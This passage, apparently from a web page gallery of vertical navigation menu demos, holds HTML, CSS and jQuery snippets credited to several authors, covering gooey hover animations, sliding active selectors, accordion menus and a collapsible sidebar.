.navbar__item:first-child:nth-last-child(11):last-child:hover:before, .navbar__item:first-child:nth-last-child(11) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(11):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 9.0909090909%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 18.1818181818%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 27.2727272727%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 36.3636363636%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(6):hover ~ li:last-child:before {
  top: 45.4545454545%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(7):hover ~ li:last-child:before {
  top: 54.5454545455%;
  animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(8):hover ~ li:last-child:before {
  top: 63.6363636364%;
  animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(9):hover ~ li:last-child:before {
  top: 72.7272727273%;
  animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):nth-child(10):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(10):hover ~ li:last-child:before {
  top: 81.8181818182%;
  animation: gooeyEffect-10 250ms 1;
}
@keyframes gooeyEffect-10 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):last-child:hover:before, .navbar__item:first-child:nth-last-child(11) ~ li:last-child:hover:before {
  top: 90.9090909091%;
  animation: gooeyEffect-11 250ms 1;
}
@keyframes gooeyEffect-11 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
</style>
</head>
<body>
  <nav class="navbar">
  <ul class="navbar__menu">
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="home"></i><span>Home</span></a>
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="message-square"></i><span>Messages</span></a>        
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="users"></i><span>Customers</span></a>        
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="folder"></i><span>Projects</span></a>        
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="archive"></i><span>Resources</span></a>        
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="help-circle"></i><span>Help</span></a>        
    </li>
    <li class="navbar__item">
      <a href="#" class="navbar__link"><i data-feather="settings"></i><span>Settings</span></a>        
    </li>
  </ul>
</nav>
  <script src='https://unpkg.com/feather-icons'></script>
      <script id="rendered-js" >
feather.replace();
    </script>
</body>
</html>

3. By Piyush

Made by Piyush. Dashboard Vertical Sidebar menu With Active Class. Source

<!DOCTYPE html>
<html lang="en" >
<head>
    
  <meta charset="UTF-8">
  <title></title>
  <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.css'>
  
<style>
@import url('https://fonts.googleapis.com/css?family=Roboto');

body{
	font-family: 'Roboto', sans-serif;
}
* {
	margin: 0;
	padding: 0;
}
i {
	margin-right: 10px;
}
h2{
	margin:0px;
}

h6{
	margin:0px;
	color:#777;
}

#accordian {
	background: #5161ce;
	width: 250px;
	padding: 10px;
	float: left;
	height: 100vh;
	overflow-x: hidden;
	position: relative;
	padding-right: 0px;
}
.main-navbar{
	position: relative;
}

#accordian li {
	list-style-type: none;
}

#accordian ul li a{
	color: rgba(255,255,255,0.5);
    text-decoration: none;
    font-size: 15px;
    line-height: 45px;
    display: block;
    padding: 0px 20px;
    transition-duration:0.6s;
	transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
    position: relative;
}

#accordian>ul>li.active>a{
	color: #5161ce;
	background-color: transparent;
	transition: all 0.7s;
}


#accordian a:not(:only-child):after {
	content: "\f105";
	position: absolute;
	right: 20px;
	top: 10%;
	font-size: 14px;
	font-family: "Font Awesome 5 Free";
	display: inline-block;
	padding-right: 3px;
	vertical-align: middle;
	font-weight: 900;
	transition: 0.5s;
}

#accordian .active>a:not(:only-child):after {
	transform: rotate(90deg);
}
.selector-active{
	width: 100%;
	display:inline-block;
	position:absolute;
	height: 37px;
	top: 0px;
	left: 0px;
	transition-duration:0.6s;
	transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
	background-color: #fff;
	border-top-left-radius: 50px;
    border-bottom-left-radius: 50px;
}
.selector-active .top,
.selector-active .bottom{
	position: absolute;
	width: 25px;
	height: 25px;
	background-color: #fff;
	right: 0;
}
.selector-active .top{
	top: -25px;
}
.selector-active .bottom{
	bottom: -25px;
}
.selector-active .top:before,
.selector-active .bottom:before{
	content: '';
    position: absolute;
    width: 50px;
    height: 50px;
    border-radius: 50%;
    background-color: #5161ce;
}
.selector-active .top:before{
	left: -25px;
	top: -25px;
}
.selector-active .bottom:before{
	bottom: -25px;
	left: -25px;
}
</style>
</head>
<body>
  <div id="accordian">
            <ul class="show-dropdown main-navbar">
                <div class="selector-active"><div class="top"></div><div class="bottom"></div></div>
                <li>
                    <a href="javascript:void(0);"><i class="fas fa-tachometer-alt"></i>Dashboard</a>
                </li>
                <li class="active">
                    <a href="javascript:void(0);"><i class="far fa-address-book"></i>Address Book</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-clone"></i>Components</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-calendar-alt"></i>Calendar</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-chart-bar"></i>Charts</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-copy"></i>Documents</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-bookmark"></i>Bookmarks</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-envelope"></i>Mail</a>
                </li>
                <li>
                    <a href="javascript:void(0);"><i class="far fa-heart"></i>Favorite</a>
                </li>
            </ul>
        </div>
  <script src='https://code.jquery.com/jquery-3.4.1.min.js'></script>
      <script>
// ---------vertical-menu with-inner-menu-active-animation-----------

var tabsVerticalInner = $('#accordian');
var selectorVerticalInner = $('#accordian').find('li').length;
var activeItemVerticalInner = tabsVerticalInner.find('.active');
var activeWidthVerticalHeight = activeItemVerticalInner.innerHeight();
var activeWidthVerticalWidth = activeItemVerticalInner.innerWidth();
var itemPosVerticalTop = activeItemVerticalInner.position();
var itemPosVerticalLeft = activeItemVerticalInner.position();
$(".selector-active").css({
  "top": itemPosVerticalTop.top + "px",
  "left": itemPosVerticalLeft.left + "px",
  "height": activeWidthVerticalHeight + "px",
  "width": activeWidthVerticalWidth + "px" });

$("#accordian").on("click", "li", function (e) {
  $('#accordian ul li').removeClass("active");
  $(this).addClass('active');
  var activeWidthVerticalHeight = $(this).innerHeight();
  var activeWidthVerticalWidth = $(this).innerWidth();
  var itemPosVerticalTop = $(this).position();
  var itemPosVerticalLeft = $(this).position();
  $(".selector-active").css({
    "top": itemPosVerticalTop.top + "px",
    "left": itemPosVerticalLeft.left + "px",
    "height": activeWidthVerticalHeight + "px",
    "width": activeWidthVerticalWidth + "px" });

});


// --------------add active class-on another-page move----------
jQuery(document).ready(function ($) {
  // Get current path and find target link
  var path = window.location.pathname.split("/").pop();

  // Account for home page with empty path
  if (path == '') {
    path = 'index.html';
  }

  var target = $('#accordian ul li a[href="' + path + '"]');
  // Add active class to target link
  target.parent().addClass('active');
});
    </script>
</body>
</html>

4. By Madalin Tudose

Made by Madalin Tudose. Simple vertical Navigation menu. Source

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
  	<link href='https://fonts.googleapis.com/css?family=Quicksand:400,700' rel='stylesheet' type='text/css' />
	<script type="text/javascript" src="https://code.jquery.com/jquery-2.0.0.min.js" /></script>
	
	<link href="https://netdna.bootstrapcdn.com/font-awesome/3.1.1/css/font-awesome.min.css" rel="stylesheet" />
<style>
body {
		background:url(http://www.ourtuts.com/tutorials/vertical-menu/bg.jpg) scroll center center;
		margin:0;
		padding:0;
		font-family:Quicksand;
		font-weight:700;
	}

	ul.form {
		position:relative;
		background:#fff;
		width:250px;
		margin:auto;
		padding:0;
		list-style: none;
		overflow:hidden;
		
		-webkit-border-radius: 5px;
		-moz-border-radius: 5px;
		border-radius: 5px;	
		
		-webkit-box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.1);
		-moz-box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.1);
		box-shadow:  1px 1px 10px rgba(0, 0, 0, 0.1);	
	}

	.form li a {
		width:225px;
		padding-left:20px;
		height:50px;
		line-height:50px;
		display:block;
		overflow:hidden;
		position:relative;
		text-decoration:none;
		text-transform:uppercase;
		font-size:14px;
		color:#686868;
		
		-webkit-transition:all 0.2s linear;
		-moz-transition:all 0.2s linear;
		-o-transition:all 0.2s linear;
		transition:all 0.2s linear;			
	}

	.form li a:hover {
		background:#efefef;
	}

	.form li a.profile {
		border-left:5px solid #008747;
	}

	.form li a.messages {
			border-left:5px solid #fecf54;
	}
		
	.form li a.settings {
			border-left:5px solid #cf2130;
	}

	.form li a.logout {
			border-left:5px solid #dde2d5;
	}	

	.form li:first-child a:hover, .form li:first-child a {
		-webkit-border-radius: 5px 5px 0 0;
		-moz-border-radius: 5px 5px 0 0;
		border-radius: 5px 5px 0 0;
	}

	.form li:last-child a:hover, .form li:last-child a {
		-webkit-border-radius: 0 0 5px 5px;
		-moz-border-radius: 0 0 5px 5px;
		border-radius: 0 0 5px 5px;
	}

	.form li a:hover i {
		color:#ea4f35;
	}

	.form i {
		margin-right:15px;
		
		-webkit-transition:all 0.2s linear;
		-moz-transition:all 0.2s linear;
		-o-transition:all 0.2s linear;
		transition:all 0.2s linear;	
	}

	.form em {
		font-size: 10px;
		background: #ea4f35;
		padding: 3px 5px;
		-webkit-border-radius: 10px;
		-moz-border-radius: 10px;
		border-radius: 10px;		
		font-style: normal;
		color: #fff;
		margin-top: 17px;
		margin-right: 15px;
		line-height: 10px;
		height: 10px;		
		float:right;
	}

	.form li.selected a {
		background:#efefef;
	}

	h1 {
		color:#fff;
		margin:0 auto;
		margin-top:60px;
		margin-bottom:40px;
		font-size:30px;
		width:300px;
		text-align:center;
	}
	
	p {
		text-align:center;
		position:absolute;
		width:100%;
		bottom:0;
		font-size:12px;
		font-family:Arial, Helvetica;
		color:#fff;
		text-transform:uppercase;
	}
	p a {
		color:#fff;
		text-decoration:none;
	}
</style>
</head>
<body>
	<h1>Vertical Menu</h1>
	<ul class="form">
		<li><a class="profile" href="#"><i class="icon-user"></i>Edit Profile</a></li>
		<li class="selected"><a class="messages" href="#"><i class="icon-envelope-alt"></i>Messages <em>5</em></a></li>
		<li><a class="settings" href="#"><i class="icon-cog"></i>App Settings</a></li>
		<li><a class="logout" href="#"><i class="icon-signout"></i>Logout</a></li>
	</ul>
      <script>
$(document).ready(function () {
  $('ul.form li a').click(
  function (e) {
    e.preventDefault(); // prevent the default action
    e.stopPropagation; // stop the click from bubbling
    $(this).closest('ul').find('.selected').removeClass('selected');
    $(this).parent().addClass('selected');
  });
});
    </script>
</body>
</html>

5. By Caio Cares

Made by Caio Cares. JavaScript vertical menu with animation. Source


<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
<style>
@import url(https://fonts.googleapis.com/css?family=Oswald);
body {
  background: #202020;
  font-family: "Oswald", sans-serif;
}

.vertical-navigation {
  position: absolute;
  top: 0;
  left: 50%;
  margin: 0 0 0 -1px;
  height: 0%;
  width: 2px;
  background: #fff;
  transition: height 1s ease-in-out;
}
.vertical-navigation.entrance {
  height: 100%;
}
.vertical-navigation .vertical-menu {
  position: absolute;
  list-style-type: none;
  padding: 0;
  width: 150px;
  height: calc(100% - 70px);
  top: 70px;
  margin: 0 0 0 -7px;
  -webkit-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  -moz-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  -o-transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  transition: "opacity" 0.5s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  /* easeOutExpo */
  opacity: 0;
  overflow: hidden;
}
.vertical-navigation .vertical-menu.entrance {
  opacity: 1;
}
.vertical-navigation .vertical-menu .link {
  position: relative;
  z-index: 2;
  float: left;
  width: 100%;
  margin: 0 0 80px 0;
}
.vertical-navigation .vertical-menu .link:nth-child(1) .dot {
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.7s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(1) .dot.in {
  background: #007BA6;
}
.vertical-navigation .vertical-menu .link:nth-child(1) a {
  -webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  -moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  -o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(1).in a {
  color: #007BA6;
}
.vertical-navigation .vertical-menu .link:nth-child(2) .dot {
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.8s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(2) .dot.in {
  background: #56AF31;
}
.vertical-navigation .vertical-menu .link:nth-child(2) a {
  -webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  -moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  -o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(2).in a {
  color: #56AF31;
}
.vertical-navigation .vertical-menu .link:nth-child(3) .dot {
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(3) .dot.in {
  background: #E3B505;
}
.vertical-navigation .vertical-menu .link:nth-child(3) a {
  -webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  -moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  -o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.2s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(3).in a {
  color: #E3B505;
}
.vertical-navigation .vertical-menu .link:nth-child(4) .dot {
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 1.3s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(4) .dot.in {
  background: #95190C;
}
.vertical-navigation .vertical-menu .link:nth-child(4) a {
  -webkit-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
  -moz-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
  -o-transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
  transition: "opacity" 1s cubic-bezier(0.19, 1, 0.22, 1) 1.4s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link:nth-child(4).in a {
  color: #95190C;
}
.vertical-navigation .vertical-menu .link.last {
  margin-bottom: 0;
}
.vertical-navigation .vertical-menu .link.track {
  position: absolute;
  z-index: 1;
  background: white;
  width: 15px;
  height: 15px;
  border-radius: 25px;
  display: none;
}
.vertical-navigation .vertical-menu .link.track.top {
  top: 5px;
}
.vertical-navigation .vertical-menu .link a {
  text-decoration: none;
  opacity: 0;
  float: left;
  cursor: pointer;
  transform: translate3d(-20px, 0, 0);
  margin: 3px 0 0 0;
  font-size: 14px;
  color: white;
  -webkit-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -moz-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -o-transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  transition: color 2s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link a.animate {
  opacity: 1;
  transform: translate3d(0, 0, 0);
}
.vertical-navigation .vertical-menu .link .dot {
  width: 15px;
  height: 15px;
  background: #ffffff;
  border-radius: 25px;
  display: block;
  float: left;
  margin: 5px 12px 0 0;
  transform: scale(0);
}
.vertical-navigation .vertical-menu .link .dot.animate {
  transform: scale(1);
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  /* easeOutExpo */
}
.vertical-navigation .vertical-menu .link .dot.in {
  background: #2A8A93;
  -webkit-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -moz-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  -o-transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  transition: all 1s cubic-bezier(0.19, 1, 0.22, 1) 0.5s;
  /* easeOutExpo */
}
</style>
</head>
<body>
  <nav class="vertical-navigation">
		<ul class="vertical-menu">
			<li class="link in"><span class="dot in"></span> <a>Item 1</a></li>
			<li class="link"><span class="dot"></span> <a>Item 2</a></li>
			<li class="link"><span class="dot"></span> <a>Item 3</a></li>
      <li class="link last"><span class="dot"></span> <a>Item 4</a></li>
      
      <li class="link track top"></li>
		</ul>
	</nav>
<script src='https://cdnjs.cloudflare.com/ajax/libs/gsap/1.19.0/TweenMax.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
      <script>
var currentItem = 0;
var clicked = false;

$(document).ready(function () {

  $('nav, ul').addClass('entrance');

  setTimeout(function () {
    $('ul a, .dot').addClass('animate');
    $('.track').fadeIn();
  }, 1500);

  $('.link').on('click', function () {

    if (!clicked) {
      clicked = true;
      var el = $(this);
      var index = $(el).index();

      navigate(el, index, currentItem);

      currentItem = index;

      $('.link, .link .dot').removeClass('in');

      $(el).addClass('in').find('.dot').addClass('in');
    }
  });

});


function navigate(el, index, currentNav) {
  var oldPos = $('.link').eq(currentNav).offset();
  var newPos = $('.link').eq(index).offset();

  if (index > currentNav) {

    var velocity = index - currentNav;
    var speed = velocity * 0.5 - (velocity - 1) * 0.3;
    var calc = newPos.top - oldPos.top + 15;

    TweenMax.to($('.track'), speed, { height: calc, ease: Expo.easeOut });

    setTimeout(function () {
      TweenMax.to($('.track'), speed, { height: 15, top: newPos.top - 65, ease: Expo.easeOut });
    }, speed * 1000);

  } else {
    var bottomPos = $('ul').height() - (oldPos.top + 29);
    var newBottomPos = $('ul').height() - newPos.top;

    var velocity = currentNav - index;
    var speed = velocity * 0.5 - (velocity - 1) * 0.3;

    $('.track').css({ 'top': 'auto', 'bottom': bottomPos });

    TweenMax.to($('.track'), speed, { height: oldPos.top - newPos.top + 14, ease: Expo.easeOut });

    setTimeout(function () {
      TweenMax.to($('.track'), speed, { height: 15, bottom: newBottomPos, ease: Expo.easeOut });
      $(el).addClass('in').find('.dot').addClass('in');

      var newPos = $('.link').eq(index).position();
      $('.track').css({ 'top': newPos.top + 5, 'bottom': 'auto' });

    }, speed * 1000);
  }

  setTimeout(function () {
    clicked = false;
  }, 1200);
}
    </script>
</body>
</html>

6. By Mj

Made by Mj. Vertical menu bar with Hamburger icon. Source

<!DOCTYPE html>
<html lang="en" >
<head>

  <meta charset="UTF-8">
  <title></title>
  
<style>
body {margin: 0; background: #181824; font-family: Arial; }
nav {
  position: fixed;
  width: 100%;
  max-width: 300px;
  bottom: 0; top: 0;
  display: block;
  min-height: 300px;
  height: 100%;
  color: #fff;
  opacity: 0.8;
  transition: all 300ms;
  -moz-transition: all 300ms;
  -webkit-transition: all 300ms;
}
nav .vertical-menu hr{opacity: 0.1; border-width: 0.5px;}
nav ul{width: 90%; padding-inline-start: 0; margin: 10px; height: calc(100% - 20px); }
nav .vertical-menu-logo{padding: 20px; font-size: 1.3em; position: relative}
nav .vertical-menu-logo .open-menu-btn{width: 30px; height: max-content; position: absolute; display: block; right: 20px; top: 0; bottom: 0; margin: auto; cursor: pointer;}
nav .vertical-menu-logo .open-menu-btn hr{margin: 5px 0}
nav li{list-style: none; padding: 10px 10px; cursor: pointer;}
nav li:hover{ color: rgba(75, 105, 176,1); }
nav li#user-info{position: absolute; bottom: 0; width: 80%;}
nav li#user-info > span{display: block; float: right; font-size: 0.9em; position: relative; opacity: 0.6;}
nav li#user-info > span:after{
  content: '';
  width: 12px;
  height: 12px;
  display: block;
  position: absolute;
  background: green;
  left: -20px; top: 0; bottom: 0;
  margin: auto;
  border-radius: 50%;
}
.content-wrapper{
  width: calc(100% - 300px);
  height: 100%;
  position: fixed;
  background: #fff;
  left: 300px;
  padding: 20px;
}
.closed-menu .content-wrapper{
  width: 100%;
  left: 50px;
}
.content-wrapper{
    transition: all 300ms;
}
.vertical-menu-wrapper .vertical-menu-logo div{transition: all 100ms;}
.closed-menu .vertical-menu-wrapper .vertical-menu-logo div{
  margin-left: -100px;
}
.vertical-menu-wrapper .vertical-menu-logo .open-menu-btn{transition: all 300ms;}
.closed-menu .vertical-menu-wrapper .vertical-menu-logo .open-menu-btn{
  left: 7px;
  right: 100%;
}

.closed-menu .vertical-menu-wrapper ul,.closed-menu .vertical-menu-wrapper hr{margin-left: -300px;}
.vertical-menu-wrapper ul, .vertical-menu-wrapper hr{transition: all 100ms;}
.content-wrapper{background: #ebebeb;}
.content{
  width: 90%;
  min-height: 90%;
  background: #fff;
  border-radius: 10px;
  padding: 30px;
}
</style>
</head>
<body>
  <nav class="vertical-menu-wrapper">
  <div class="vertical-menu-logo">
    <div>LOGO</div>
    <span class="open-menu-btn"><hr><hr><hr></span>
  </div>
  <ul class="vertical-menu">
    <li>Schedule</li>
    <li>Event</li>
    <hr />
    <li>Setting</li>
    <li>Privacy</li>
    <li id="user-info">MJ<span>online</span></li>
  </ul>
</nav>
<div class="content-wrapper">
  <div class="content">
  </div>
</div>
  <script src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js'></script>
      <script>
$('.open-menu-btn').on('click', function () {
  if ($('body').hasClass('closed-menu')) {
    $('body').removeClass('closed-menu');
  } else $('body').addClass('closed-menu');
});
    </script>
</body>
</html>

7. By Misha

Made by Misha. JavaScript ( jQuery )vertical menu with Ripple effect on Click. Source

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
  <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.4.0/css/font-awesome.min.css'>
  
<style>
body {
    font-family: "Microsoft YaHei", Helvetica;
    background-color: rgb(31, 34, 41);
    color: rgb(238, 238, 238);
    font-size: 13px;
    padding: 10px;
}

.jquery-accordion-menu,.jquery-accordion-menu * {
        /*font-family: 'Open Sans',sans-serif;*/
        box-sizing: border-box;
        -moz-box-sizing: border-box;
        -webkit-box-sizing: border-box;
        outline: 0
}

.jquery-accordion-menu {
        min-width: 260px;
        float: left;
        position: relative;
        box-shadow: 0 20px 50px #333
}

.jquery-accordion-menu .jquery-accordion-menu-footer,.jquery-accordion-menu .jquery-accordion-menu-header {
        width: 100%;
        height: 50px;
        padding-left: 22px;
        float: left;
        line-height: 50px;
        font-weight: 600;
        color: #f0f0f0;
        background: #414956
}

.jquery-accordion-menu ul {
        margin: 0;
        padding: 0;
        list-style: none
}

.jquery-accordion-menu ul li {
        width: 100%;
        display: block;
        float: left;
        position: relative
}

.jquery-accordion-menu ul li a {
        width: 100%;
        padding: 14px 22px;
        float: left;
        text-decoration: none;
        color: #f0f0f0;
        font-size: 13px;
        background: #414956;
        white-space: nowrap;
        position: relative;
        overflow: hidden;
        -o-transition: color .2s linear,background .2s linear;
        -moz-transition: color .2s linear,background .2s linear;
        -webkit-transition: color .2s linear,background .2s linear;
        transition: color .2s linear,background .2s linear
}

.jquery-accordion-menu>ul>li.active>a,.jquery-accordion-menu>ul>li:hover>a {
        color: #fff;
        background: #3b424d
}

.jquery-accordion-menu>ul>li>a {
        border-bottom: solid 1px #3b424d
}

.jquery-accordion-menu ul li a i {
        width: 34px;
        float: left;
        line-height: 18px;
        font-size: 16px;
        text-align: left
}

.jquery-accordion-menu .submenu-indicator {
        float: right;
        right: 22px;
        position: absolute;
        line-height: 19px;
        font-size: 20px;
        -o-transition: transform .3s linear;
        -moz-transition: transform .3s linear;
        -webkit-transition: transform .3s linear;
        -ms-transition: transform .3s linear
}

.jquery-accordion-menu ul ul.submenu .submenu-indicator {
        line-height: 16px
}

.jquery-accordion-menu .submenu-indicator-minus>.submenu-indicator {
        -ms-transform: rotate(45deg);
        -moz-transform: rotate(45deg);
        -webkit-transform: rotate(45deg);
        transform: rotate(45deg)
}

.jquery-accordion-menu ul ul.submenu,.jquery-accordion-menu ul ul.submenu li ul.submenu {
        width: 100%;
        display: none;
        position: static
}

.jquery-accordion-menu ul ul.submenu li {
        clear: both;
        width: 100%
}

.jquery-accordion-menu ul ul.submenu li a {
        width: 100%;
        float: left;
        font-size: 11px;
        background: #383838;
        border-top: none;
        position: relative;
        border-left: solid 6px transparent;
